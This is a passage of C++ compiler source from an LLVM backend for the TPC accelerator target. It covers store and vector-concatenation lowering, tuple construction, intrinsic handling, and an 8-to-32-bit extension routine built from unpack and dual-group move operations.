DL, EltTy, Value,\n SubReg);\n SDValue V1(Node, 0);\n SDValue NewChain =\n DAG.getStore(StoreNode->getChain(), DL, V1, Ptr, PtrInfo.getWithOffset(0),\n Alignment, StoreNode->getMemOperand()->getFlags()\n /* TODO: use correct AAInfo */);\n SubRegStores.push_back(NewChain);\n\n // Get pointer to the next register location in memory.\n SDValue NewPtr = DAG.getNode(\n ISD::ADD, DL, Ptr.getValueType(), Ptr,\n DAG.getConstant(SRF_REGISTER_LENGTH_IN_BYTES, DL, Ptr.getValueType()));\n\n // Store second register.\n SubReg = DAG.getTargetConstant(TPC::sub_s1, DL, MVT::i32);\n Node = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, EltTy, Value,\n SubReg);\n SDValue V2(Node, 0);\n NewChain = DAG.getStore(Chain, DL, V2, NewPtr,\n PtrInfo.getWithOffset(SRF_REGISTER_LENGTH_IN_BYTES),\n Alignment, StoreNode->getMemOperand()->getFlags()\n /* TODO: use correct AAInfo */);\n SubRegStores.push_back(NewChain);\n\n // Group sores.\n Chain = DAG.getNode(ISD::TokenFactor, DL, MVT::Other, SubRegStores);\n return Chain;\n}\n\nstatic SDValue lowerStoreOInt5(StoreSDNode *StoreNode,\n const TPCTargetLowering &TL, SelectionDAG &DAG) {\n EVT MemTy = StoreNode->getMemoryVT();\n (void)MemTy;\n assert(MemTy.getVectorNumElements() == 5);\n assert(MemTy.getVectorElementType().isScalarInteger());\n\n SDValue Chain = StoreNode->getChain();\n SDValue Ptr = StoreNode->getBasePtr();\n SDLoc DL(StoreNode);\n\n MachinePointerInfo PtrInfo = StoreNode->getPointerInfo();\n unsigned Alignment = StoreNode->getAlignment();\n MachineMemOperand *MemOp = StoreNode->getMemOperand();\n AAMDNodes AAInfo = StoreNode->getAAInfo();\n\n for (unsigned I = 0; I < 5; ++I) {\n if (I) {\n // Get pointer to the next register location in memory.\n Ptr = DAG.getNode(ISD::ADD, DL, Ptr.getValueType(), Ptr,\n DAG.getConstant(SRF_REGISTER_LENGTH_IN_BYTES, DL,\n Ptr.getValueType()));\n }\n SDValue SubReg =\n DAG.getNode(ISD::EXTRACT_VECTOR_ELT, DL, MVT::i32,\n StoreNode->getValue(), DAG.getConstant(I, DL, MVT::i32));\n Chain =\n DAG.getStore(Chain, DL, SubReg, Ptr,\n PtrInfo.getWithOffset(SRF_REGISTER_LENGTH_IN_BYTES * I),\n Alignment, MemOp->getFlags(), AAInfo);\n }\n\n return Chain;\n}\n\nSDValue TPCTargetLowering::lowerSTORE(SDValue Op, SelectionDAG &DAG) const {\n StoreSDNode *StoreNode = cast<StoreSDNode>(Op);\n\n EVT MemVT = StoreNode->getMemoryVT();\n if (!MemVT.isVector())\n return SDValue();\n\n unsigned NumElements = MemVT.getVectorNumElements();\n\n if (NumElements == 2)\n return lowerStoreOfLongScalar(StoreNode, DAG);\n\n if (NumElements == 5)\n return lowerStoreOInt5(StoreNode, *this, DAG);\n\n EVT EltTy = MemVT.getVectorElementType();\n unsigned EltSz = MemVT.getScalarSizeInBits();\n assert(EltSz > 0);\n\n SDValue Chain = StoreNode->getChain();\n SDValue Ptr = StoreNode->getBasePtr();\n SDValue Value = StoreNode->getValue();\n SDLoc DL(Op);\n\n unsigned SubVectorSize = 8 * 256 / EltSz;\n unsigned NumSubVectors = NumElements / SubVectorSize;\n EVT SubVectorTy = EVT::getVectorVT(*DAG.getContext(), EltTy, SubVectorSize);\n unsigned SubRegSize = SubVectorTy.getStoreSizeInBits() / 8;\n\n // We provide specific lowering only for vectors of 128, 256 or 512 elements.\n switch (NumElements) {\n case 128:\n case 256:\n case 512:\n break;\n default:\n return SDValue();\n }\n assert(NumSubVectors == 2 || NumSubVectors == 4);\n\n SmallVector<SDValue, 4> SubRegStores;\n MachinePointerInfo PtrInfo = StoreNode->getPointerInfo();\n unsigned Alignment = StoreNode->getAlignment();\n\n SDValue SubReg = DAG.getTargetConstant(TPC::sub_0, DL, MVT::i32);\n MachineSDNode *Node = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL,\n SubVectorTy, Value, SubReg);\n SDValue V1(Node, 0);\n SDValue NewChain =\n DAG.getStore(Chain, DL, V1, Ptr, PtrInfo.getWithOffset(0), Alignment,\n StoreNode->getMemOperand()->getFlags()\n /* TODO: use correct AAInfo */);\n SubRegStores.push_back(NewChain);\n\n SDValue NewPtr =\n DAG.getNode(ISD::ADD, DL, Ptr.getValueType(), Ptr,\n DAG.getConstant(SubRegSize, DL, Ptr.getValueType()));\n SubReg = DAG.getTargetConstant(TPC::sub_1, DL, MVT::i32);\n Node = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, SubVectorTy,\n Value, SubReg);\n SDValue V2(Node, 0);\n NewChain =\n DAG.getStore(Chain, DL, V2, NewPtr, PtrInfo.getWithOffset(SubRegSize),\n Alignment, StoreNode->getMemOperand()->getFlags()\n /* TODO: use correct AAInfo */);\n SubRegStores.push_back(NewChain);\n\n if (NumSubVectors == 4) {\n NewPtr =\n DAG.getNode(ISD::ADD, DL, Ptr.getValueType(), Ptr,\n DAG.getConstant(2 * SubRegSize, DL, Ptr.getValueType()));\n SubReg = DAG.getTargetConstant(TPC::sub_2, DL, MVT::i32);\n Node = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, SubVectorTy,\n Value, SubReg);\n SDValue V3(Node, 0);\n NewChain = DAG.getStore(Chain, DL, V3, NewPtr,\n PtrInfo.getWithOffset(2 * SubRegSize), Alignment,\n StoreNode->getMemOperand()->getFlags()\n /* TODO: use correct AAInfo */);\n SubRegStores.push_back(NewChain);\n\n NewPtr =\n DAG.getNode(ISD::ADD, DL, Ptr.getValueType(), Ptr,\n DAG.getConstant(3 * SubRegSize, DL, Ptr.getValueType()));\n SubReg = DAG.getTargetConstant(TPC::sub_3, DL, MVT::i32);\n Node = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, SubVectorTy,\n Value, SubReg);\n SDValue V4(Node, 0);\n NewChain = DAG.getStore(Chain, DL, V4, NewPtr,\n PtrInfo.getWithOffset(3 * SubRegSize), Alignment,\n StoreNode->getMemOperand()->getFlags()\n /* TODO: use correct AAInfo */);\n SubRegStores.push_back(NewChain);\n }\n\n Chain = DAG.getNode(ISD::TokenFactor, DL, MVT::Other, SubRegStores);\n return Chain;\n}\n\nSDValue TPCTargetLowering::lowerCONCAT_VECTORS(SDValue Op,\n SelectionDAG &DAG) const {\n SDLoc DL(Op);\n EVT VT = Op.getValueType();\n assert(VT.isVector());\n unsigned NumElements = VT.getVectorNumElements();\n\n // We provide specific lowering only for vectors of 128, 256 or 512 elements.\n switch (NumElements) {\n case 128:\n case 256:\n case 512:\n break;\n default:\n return SDValue();\n }\n\n unsigned NumOperands = Op.getNode()->getNumOperands();\n assert(NumOperands == 2 || NumOperands == 4);\n SmallVector<SDValue, 4> SubVects;\n\n bool IsSubRegExtractRequired = false;\n EVT RegTy = Op.getOperand(0).getValueType();\n EVT EltTy = RegTy.getVectorElementType();\n if (NumOperands == 2) {\n // if both operands are DRF vector registers, we need to extract\n // VRF vector sub-registers and add them to the SubVects\n unsigned NumElts = RegTy.getVectorNumElements();\n unsigned RegBits = NumElts * EltTy.getSizeInBits();\n\n // TODO: is there a better way to get number of bits in ARF/DRF registers?\n assert((RegBits == 2048 || RegBits == 4096) &&\n \"Invalid number of vector bits\");\n IsSubRegExtractRequired = (RegBits == 4096) ? true : false;\n }\n\n for (unsigned i = 0; i < NumOperands; ++i) {\n SDValue OpSubReg = Op.getOperand(i);\n if (IsSubRegExtractRequired) {\n EVT SubSubVectorTy;\n SubSubVectorTy = OpSubReg.getValueType();\n assert(SubSubVectorTy.isVector());\n unsigned SubNumElts = SubSubVectorTy.getVectorNumElements();\n EVT SubTy = EVT::getVectorVT(*DAG.getContext(), EltTy, SubNumElts / 2);\n if (OpSubReg.isUndef()) {\n SDValue uv = DAG.getUNDEF(SubTy);\n SubVects.push_back(uv);\n SubVects.push_back(uv);\n\n } else {\n SDValue h0 = helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, SubTy, OpSubReg);\n SDValue h1 = helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, SubTy, OpSubReg);\n\n SubVects.push_back(h0);\n SubVects.push_back(h1);\n }\n } else {\n SubVects.push_back(OpSubReg);\n }\n }\n SDValue thu = createTuple(SubVects, DAG);\n return thu;\n}\n\nSDValue TPCTargetLowering::createTuple(ArrayRef<SDValue> Regs,\n SelectionDAG &DAG) const {\n assert(Regs.size() == 2 || Regs.size() == 4);\n SDLoc DL(Regs[0]);\n EVT RegTy = Regs[0].getValueType();\n EVT ResTy;\n unsigned RegId;\n if (RegTy.isVector()) {\n EVT EltTy = RegTy.getVectorElementType();\n unsigned NumElts = RegTy.getVectorNumElements();\n ResTy = EVT::getVectorVT(*DAG.getContext(), EltTy, NumElts * Regs.size());\n if (Regs.size() == 4)\n RegId = TPC::ARFRegClassID;\n else\n RegId = TPC::DRFRegClassID;\n } else {\n ResTy = EVT::getVectorVT(*DAG.getContext(), RegTy, ElementCount(2, false));\n RegId = TPC::ZRFRegClassID;\n }\n\n static const unsigned SubRegs[] = {TPC::sub_0, TPC::sub_1, TPC::sub_2,\n TPC::sub_3};\n static const unsigned SubRegsScalar[] = {TPC::sub_s0, TPC::sub_s1};\n SmallVector<SDValue, 4> Ops;\n\n // First operand of REG_SEQUENCE is the desired RegClass.\n Ops.push_back(DAG.getTargetConstant(RegId, DL, MVT::i32));\n\n // Then we get pairs of source & subregister-position for the components.\n for (unsigned I = 0, E = Regs.size(); I < E; ++I) {\n Ops.push_back(Regs[I]);\n if (RegId == TPC::ZRFRegClassID)\n Ops.push_back(DAG.getTargetConstant(SubRegsScalar[I], DL, MVT::i32));\n else\n Ops.push_back(DAG.getTargetConstant(SubRegs[I], DL, MVT::i32));\n }\n\n SDNode *N = DAG.getMachineNode(TargetOpcode::REG_SEQUENCE, DL, ResTy, Ops);\n return SDValue(N, 0);\n}\n\nSDValue TPCTargetLowering::LowerINTRINSIC_WO_CHAIN(SDValue Op,\n SelectionDAG &DAG) const {\n LLVM_DEBUG(dbgs() << \"TPC intrinsic custom lowering:\\n\"; Op.dump(&DAG););\n\n unsigned IntrinNum = cast<ConstantSDNode>(Op.getOperand(0))->getZExtValue();\n\n switch (IntrinNum) {\n default:\n return SDValue();\n case Intrinsic::tpc_convert:\n return lowerTPC_CONVERT(Op, DAG);\n case Intrinsic::tpc_fptrunc_swch:\n return lowerFP_ROUND(Op, DAG);\n case Intrinsic::tpc_fpext_swch:\n return lowerFP_EXTEND(Op, DAG);\n case Intrinsic::tpc_sitofp_swch:\n case Intrinsic::tpc_fptosi_swch:\n return lowerCONVERTSIGNED(Op, DAG);\n case Intrinsic::tpc_uitofp_swch:\n case Intrinsic::tpc_fptoui_swch:\n return lowerCONVERTUNSIGNED(Op, DAG);\n }\n\n// TODO: Remove it.\n#if 0\n unsigned IntNo = cast<ConstantSDNode>(Op.getOperand(0))->getZExtValue();\n SDLoc dl(Op);\n MachineSDNode *copyNode;\n SDValue copy;\n\n switch (IntNo) {\n default: return Op; // Don't custom lower most intrinsics.\n// TODO: Scal2IRF\n// case Intrinsic::tpc_i_i32_add_s_i:\n// case Intrinsic::tpc_i_i32_sub_s_i:\n// case Intrinsic::tpc_i_i32_mul_s_i:\n// case Intrinsic::tpc_i_i32_or_s_i:\n case Intrinsic::tpc_i_i32_xor_s_i:\n// case Intrinsic::tpc_i_i32_and_s_i:\n SDValue Src1 = Op.getOperand(1);\n SDValue Src2 = Op.getOperand(2);\n SDValue Src3 = Op.getOperand(3);\n SDValue Src4 = Op.getOperand(4);\n\n // Generate COPY for 'plink' parameter. Do it only if Undef value passed as 'plink'.\n // This is to distinguish between user-defined anf compiler-generated intrinsics -\n // for the latter we do not have insert COPY.\n if (Src3->isUndef()) {\n copyNode = DAG.getMachineNode(TargetOpcode::COPY, dl, MVT::v5i32, Src2);\n copy = SDValue(copyNode, 0);\n }\n else {\n copy = Src3;\n }\n \n unsigned dim = cast<ConstantSDNode>(Src4)->getZExtValue();\n SDValue DimVal = DAG.getTargetConstant(dim, dl, MVT::i8);\n\n SDValue Val;\n unsigned IRFOpcode;\n bool isImmOperand;\n if (auto Scl = dyn_cast<ConstantSDNode>(Src1)) {\n unsigned v = Scl->getZExtValue();\n Val = DAG.getTargetConstant(v, dl, MVT::i32);\n isImmOperand = true;\n }\n else {\n Val = Src1;\n isImmOperand = false;\n }\n IRFOpcode = getIRFOpcodeForIntrin(IntNo, isImmOperand);\n\n SmallVector<SDValue, 8> Ops(4);\n Ops[0] = Val;\n Ops[1] = Src2;\n Ops[2] = copy;\n Ops[3] = DimVal;\n\n MachineSDNode *Node = DAG.getMachineNode(IRFOpcode, dl, MVT::v5i32, Ops);\n\n return SDValue(Node, 0);\n }\n#endif\n}\n\nSDValue TPCTargetLowering::LowerINTRINSIC_W_CHAIN(SDValue Op,\n SelectionDAG &DAG) const {\n unsigned IntrID = cast<ConstantSDNode>(Op.getOperand(1))->getZExtValue();\n SDLoc DL(Op);\n\n switch (IntrID) {\n case Intrinsic::tpc_ld_g: {\n MemSDNode *M = cast<MemSDNode>(Op);\n SDValue Ops[] = {\n Op.getOperand(0), // Chain\n Op.getOperand(2), // Ptr\n Op.getOperand(3), // Sw\n Op.getOperand(4), // Income\n Op.getOperand(5), // Pred\n Op.getOperand(6), // Polarity\n };\n return DAG.getMemIntrinsicNode(TPCISD::LD_G, DL,\n Op->getVTList(), Ops, M->getMemoryVT(),\n M->getMemOperand());\n }\n case Intrinsic::tpc_st_g: {\n MemSDNode *M = cast<MemSDNode>(Op);\n SDValue Ops[] = {\n Op.getOperand(0), // Chain\n Op.getOperand(2), // Ptr\n Op.getOperand(3), // Value\n Op.getOperand(4), // Sw\n Op.getOperand(5), // Pred\n Op.getOperand(6), // Polarity\n };\n return DAG.getMemIntrinsicNode(TPCISD::ST_G, DL, Op->getVTList(), Ops,\n M->getMemoryVT(), M->getMemOperand());\n }\n }\n return SDValue();\n}\n\nbool TPCTargetLowering::getTgtMemIntrinsic(IntrinsicInfo &Info,\n const CallInst &I,\n MachineFunction &MF,\n unsigned Intrinsic) const {\n switch (Intrinsic) {\n default:\n return false;\n case Intrinsic::tpc_ld_g:\n Info.opc = ISD::INTRINSIC_W_CHAIN;\n Info.memVT = MVT::getVT(I.getType());\n Info.ptrVal = I.getArgOperand(0);\n Info.offset = 0;\n Info.flags = MachineMemOperand::MOLoad;\n Info.align = Align(4);\n return true;\n case Intrinsic::tpc_ld_g_inc: {\n Info.opc = ISD::INTRINSIC_W_CHAIN;\n Info.memVT = MVT::getVT(cast<StructType>(I.getType())->getElementType(0));\n Info.ptrVal = I.getArgOperand(0);\n Info.offset = cast<ConstantInt>(I.getArgOperand(1))->getZExtValue();\n assert(Info.offset == 1 || Info.offset == 2 || Info.offset == 4 || Info.offset == 8);\n Info.flags = MachineMemOperand::MOLoad;\n Info.align = Align(4);\n return true;\n }\n case Intrinsic::tpc_ld_g_partial_inc:\n Info.opc = ISD::INTRINSIC_W_CHAIN;\n Info.memVT = MVT::getVT(cast<StructType>(I.getType())->getElementType(0));\n Info.ptrVal = I.getArgOperand(0);\n Info.offset = cast<ConstantInt>(I.getArgOperand(1))->getZExtValue();\n assert(Info.offset == 1 || Info.offset == 2 || Info.offset == 4 || Info.offset == 8);\n Info.flags = MachineMemOperand::MOLoad;\n Info.align = Align(4);\n return true;\n case Intrinsic::tpc_ld_g_int5_inc:\n Info.opc = ISD::INTRINSIC_W_CHAIN;\n Info.memVT = MVT::getVT(cast<StructType>(I.getType())->getElementType(0));\n Info.ptrVal = I.getArgOperand(0);\n Info.offset = cast<ConstantInt>(I.getArgOperand(1))->getZExtValue();\n assert(Info.offset == 1 || Info.offset == 2 || Info.offset == 4 || Info.offset == 8);\n Info.flags = MachineMemOperand::MOLoad;\n Info.align = Align(4);\n return true;\n case Intrinsic::tpc_st_g:\n Info.opc = ISD::INTRINSIC_W_CHAIN;\n Info.memVT = MVT::getVT(I.getArgOperand(1)->getType());\n Info.ptrVal = I.getArgOperand(0);\n Info.offset = 0;\n Info.flags = MachineMemOperand::MOStore;\n Info.align = Align(4);\n return true;\n case Intrinsic::tpc_st_g_inc:\n Info.opc = ISD::INTRINSIC_W_CHAIN;\n Info.memVT = MVT::getVT(I.getArgOperand(1)->getType());\n Info.ptrVal = I.getArgOperand(0);\n Info.offset = cast<ConstantInt>(I.getArgOperand(2))->getZExtValue();\n assert(Info.offset == 1 || Info.offset == 2 || Info.offset == 4 || Info.offset == 8);\n Info.flags = MachineMemOperand::MOStore;\n Info.align = Align(4);\n return true;\n \n case Intrinsic::tpc_st_tnsr_sqz:\n case Intrinsic::tpc_st_tnsr_sqz_rmw:\n Info.opc = ISD::INTRINSIC_W_CHAIN;\n Info.memVT = MVT::getVT(I.getArgOperand(3)->getType());\n Info.offset = 0;\n Info.flags = MachineMemOperand::MOStore;\n Info.align = Align(4);\n return true;\n case Intrinsic::tpc_st_tnsr_s_hwr:\n case Intrinsic::tpc_st_tnsr_s_hwr_rmw:\n Info.opc = ISD::INTRINSIC_W_CHAIN;\n Info.memVT = MVT::getVT(I.getArgOperand(2)->getType());\n Info.offset = 0;\n Info.flags = MachineMemOperand::MOStore;\n Info.align = Align(4);\n return true;\n }\n\n return false;\n}\n\nSmallVector<SDValue, 4>\nTPCTargetLowering::extend_8_to_32(SDValue Op, SelectionDAG &DAG,\n const SDLoc &DL, uint64_t DataType) const {\n EVT ResultVT(MVT::v64i32);\n const SDValue &Src = Op.getOperand(0);\n auto SrcType = Src.getValueType();\n SmallVector<SDValue, 4> ExtArg;\n\n if (Subtarget->hasGaudiISA()) {\n // unpack-1\n SmallVector<SDValue, 8> Ops1(6);\n Ops1[0] = Src; // Source.\n Ops1[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v1 = (int64)v_i8_unpack_v(x, 0/*x00*/, e_group_0,\n // e_every_forth_element, e_lower_half_group);\n Ops1[2] =\n DAG.getTargetConstant(TPCII::SW_STRIDE_4, DL, MVT::i32); // Switch.\n Ops1[3] = DAG.getConstant(0, DL, ResultVT); // Income.\n Ops1[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops1[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node1 = DAG.getMachineNode(TPC::UNPACKp, DL, SrcType, Ops1);\n SDValue unpack1 = SDValue(Node1, 0);\n\n auto BitCastUnpack1 = DAG.getNode(ISD::BITCAST, DL, ResultVT, unpack1);\n\n // unpack-2\n SmallVector<SDValue, 8> Ops2(6);\n Ops2[0] = Src; // Source.\n Ops2[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // t1 = (int64)v_i8_unpack_v(x, 0/*x01*/, e_group_0, e_every_forth_element,\n // e_higher_half_group);\n Ops2[2] = DAG.getTargetConstant((TPCII::SW_STRIDE_4 | // Switch\n TPCII::SW_GROUP_HALF_1),\n DL, MVT::i32);\n Ops2[3] = DAG.getConstant(0, DL, ResultVT); // Income.\n Ops2[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops2[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node2 = DAG.getMachineNode(TPC::UNPACKp, DL, SrcType, Ops2);\n SDValue unpack2 = SDValue(Node2, 0);\n\n auto BitCastUnpack2 = DAG.getNode(ISD::BITCAST, DL, ResultVT, unpack2);\n\n // unpack-3\n SmallVector<SDValue, 8> Ops3(6);\n Ops3[0] = Src; // Source.\n Ops3[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // t2 = (int64)v_i8_unpack_v(x, 0/*x02*/, e_group_1, e_every_forth_element,\n // e_lower_half_group);\n Ops3[2] = DAG.getTargetConstant((TPCII::SW_GROUP_1 | // Switch\n TPCII::SW_STRIDE_4),\n DL, MVT::i32);\n Ops3[3] = DAG.getConstant(0, DL, ResultVT); // Income.\n Ops3[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops3[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node3 = DAG.getMachineNode(TPC::UNPACKp, DL, SrcType, Ops3);\n SDValue unpack3 = SDValue(Node3, 0);\n\n auto BitCastUnpack3 = DAG.getNode(ISD::BITCAST, DL, ResultVT, unpack3);\n\n // unpack-4\n SmallVector<SDValue, 8> Ops4(6);\n Ops4[0] = Src; // Source.\n Ops4[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v4 = (int64)v_i8_unpack_v(x, 0/*x03*/, e_group_1,\n // e_every_forth_element, e_higher_half_group);\n Ops4[2] =\n DAG.getTargetConstant((TPCII::SW_GROUP_1 | // Switch\n TPCII::SW_STRIDE_4 | TPCII::SW_GROUP_HALF_1),\n DL, MVT::i32);\n Ops4[3] = DAG.getConstant(0, DL, ResultVT); // Income.\n Ops4[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops4[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node4 = DAG.getMachineNode(TPC::UNPACKp, DL, SrcType, Ops4);\n SDValue unpack4 = SDValue(Node4, 0);\n\n auto BitCastUnpack4 = DAG.getNode(ISD::BITCAST, DL, ResultVT, unpack4);\n\n SDValue Temp0 = BitCastUnpack1;\n // mov-dual-group\n SmallVector<SDValue, 8> Ops5(7);\n Ops5[0] = BitCastUnpack2; // Source.\n Ops5[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v1 = v_i32_mov_dual_group_all_v(y.v2, 0xFFFFFFFF, y.v1, 1, 0, 3, 2,\n // 0b00, 0b11, 0b00, 0b11);\n Ops5[2] = DAG.getTargetConstant(\n (((1 << TPCII::SW_SDG0_SHIFT) | (0 << TPCII::SW_SDG1_SHIFT) |\n (3 << TPCII::SW_SDG2_SHIFT) | (2 << TPCII::SW_SDG3_SHIFT)) |\n (0 << TPCII::SW_WEG0_SHIFT) | (3 << TPCII::SW_WEG1_SHIFT) |\n (0 << TPCII::SW_WEG2_SHIFT) | (3 << TPCII::SW_WEG3_SHIFT) |\n (TPCII::SW_MDG_TYPE_ALL)),\n DL, MVT::i32); // Switch.\n Ops5[3] = DAG.getTargetConstant(0, DL, MVT::i8); // MovDGAllOp\n Ops5[4] = BitCastUnpack1; // Income.\n Ops5[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops5[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node5 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUP_ALLp, DL, ResultVT, Ops5);\n SDValue mdg1 = SDValue(Node5, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops6(7);\n Ops6[0] = Temp0; // Source.\n Ops6[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v2 = v_i32_mov_dual_group_all_v(t0, 0xFFFFFFFF, y.v2, 1, 0, 3, 2, 0b11,\n // 0b00, 0b11, 0b00);\n Ops6[2] = DAG.getTargetConstant(\n (((1 << TPCII::SW_SDG0_SHIFT) | (0 << TPCII::SW_SDG1_SHIFT) |\n (3 << TPCII::SW_SDG2_SHIFT) | (2 << TPCII::SW_SDG3_SHIFT)) |\n (3 << TPCII::SW_WEG0_SHIFT) | (0 << TPCII::SW_WEG1_SHIFT) |\n (3 << TPCII::SW_WEG2_SHIFT) | (0 << TPCII::SW_WEG3_SHIFT) |\n (TPCII::SW_MDG_TYPE_ALL)),\n DL, MVT::i32); // Switch.\n Ops6[3] = DAG.getTargetConstant(0, DL, MVT::i8); // MovDGAllOp\n Ops6[4] = BitCastUnpack2; // Income.\n Ops6[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops6[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node6 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUP_ALLp, DL, ResultVT, Ops6);\n SDValue mdg2 = SDValue(Node6, 0);\n\n SDValue Temp1 = BitCastUnpack3;\n // mov-dual-group\n SmallVector<SDValue, 8> Ops7(7);\n Ops7[0] = BitCastUnpack4; // Source.\n Ops7[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v3 = v_i32_mov_dual_group_all_v(y.v4, 0xFFFFFFFF, y.v3, 1, 0, 3, 2,\n // 0b00, 0b11, 0b00, 0b11);\n Ops7[2] = DAG.getTargetConstant(\n (((1 << TPCII::SW_SDG0_SHIFT) | (0 << TPCII::SW_SDG1_SHIFT) |\n (3 << TPCII::SW_SDG2_SHIFT) | (2 << TPCII::SW_SDG3_SHIFT)) |\n (0 << TPCII::SW_WEG0_SHIFT) | (3 << TPCII::SW_WEG1_SHIFT) |\n (0 << TPCII::SW_WEG2_SHIFT) | (3 << TPCII::SW_WEG3_SHIFT) |\n (TPCII::SW_MDG_TYPE_ALL)),\n DL, MVT::i32); // Switch.\n Ops7[3] = DAG.getTargetConstant(0, DL, MVT::i8); // MovDGAllOp\n Ops7[4] = BitCastUnpack3; // Income.\n Ops7[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops7[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node7 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUP_ALLp, DL, ResultVT, Ops7);\n SDValue mdg3 = SDValue(Node7, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops8(7);\n Ops8[0] = Temp1; // Source.\n Ops8[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v4 = v_i32_mov_dual_group_all_v(t1, 0xFFFFFFFF, y.v4, 1, 0, 3, 2, 0b11,\n // 0b00, 0b11, 0b00);\n Ops8[2] = DAG.getTargetConstant(\n (((1 << TPCII::SW_SDG0_SHIFT) | (0 << TPCII::SW_SDG1_SHIFT) |\n (3 << TPCII::SW_SDG2_SHIFT) | (2 << TPCII::SW_SDG3_SHIFT)) |\n (3 << TPCII::SW_WEG0_SHIFT) | (0 << TPCII::SW_WEG1_SHIFT) |\n (3 << TPCII::SW_WEG2_SHIFT) | (0 << TPCII::SW_WEG3_SHIFT) |\n (TPCII::SW_MDG_TYPE_ALL)),\n DL, MVT::i32); // Switch.\n Ops8[3] = DAG.getTargetConstant(0, DL, MVT::i8); // MovDGAllOp\n Ops8[4] = BitCastUnpack4; // Income.\n Ops8[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops8[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node8 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUP_ALLp, DL, ResultVT, Ops8);\n SDValue mdg4 = SDValue(Node8, 0);\n\n Temp0 = mdg1;\n Temp1 = mdg2;\n // mov-dual-group\n SmallVector<SDValue, 8> Ops9(7);\n Ops9[0] = mdg3; // Source.\n Ops9[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v1 = v_i32_mov_dual_group_all_v(y.v3, 0xFFFFFFFF, y.v1, 2, 3, 0, 1,\n // 0b00, 0b00, 0b11, 0b11);\n Ops9[2] = DAG.getTargetConstant(\n (((2 << TPCII::SW_SDG0_SHIFT) | (3 << TPCII::SW_SDG1_SHIFT) |\n (0 << TPCII::SW_SDG2_SHIFT) | (1 << TPCII::SW_SDG3_SHIFT)) |\n (0 << TPCII::SW_WEG0_SHIFT) | (0 << TPCII::SW_WEG1_SHIFT) |\n (3 << TPCII::SW_WEG2_SHIFT) | (3 << TPCII::SW_WEG3_SHIFT) |\n (TPCII::SW_MDG_TYPE_ALL)),\n DL, MVT::i32); // Switch.\n Ops9[3] = DAG.getTargetConstant(0, DL, MVT::i8); // MovDGAllOp\n Ops9[4] = mdg1; // Income.\n Ops9[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops9[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node9 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUP_ALLp, DL, ResultVT, Ops9);\n SDValue mdg5 = SDValue(Node9, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops10(7);\n Ops10[0] = mdg4; // Source.\n Ops10[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v2 = v_i32_mov_dual_group_all_v(y.v4, 0xFFFFFFFF, y.v2, 2, 3, 0, 1,\n // 0b00, 0b00, 0b11, 0b11);\n Ops10[2] = DAG.getTargetConstant(\n (((2 << TPCII::SW_SDG0_SHIFT) | (3 << TPCII::SW_SDG1_SHIFT) |\n (0 << TPCII::SW_SDG2_SHIFT) | (1 << TPCII::SW_SDG3_SHIFT)) |\n (0 << TPCII::SW_WEG0_SHIFT) | (0 << TPCII::SW_WEG1_SHIFT) |\n (3 << TPCII::SW_WEG2_SHIFT) | (3 << TPCII::SW_WEG3_SHIFT) |\n (TPCII::SW_MDG_TYPE_ALL)),\n DL, MVT::i32); // Switch.\n Ops10[3] = DAG.getTargetConstant(0, DL, MVT::i8); // MovDGAllOp\n Ops10[4] = mdg2; // Income.\n Ops10[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops10[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node10 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUP_ALLp, DL, ResultVT, Ops10);\n SDValue mdg6 = SDValue(Node10, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops11(7);\n Ops11[0] = Temp0; // 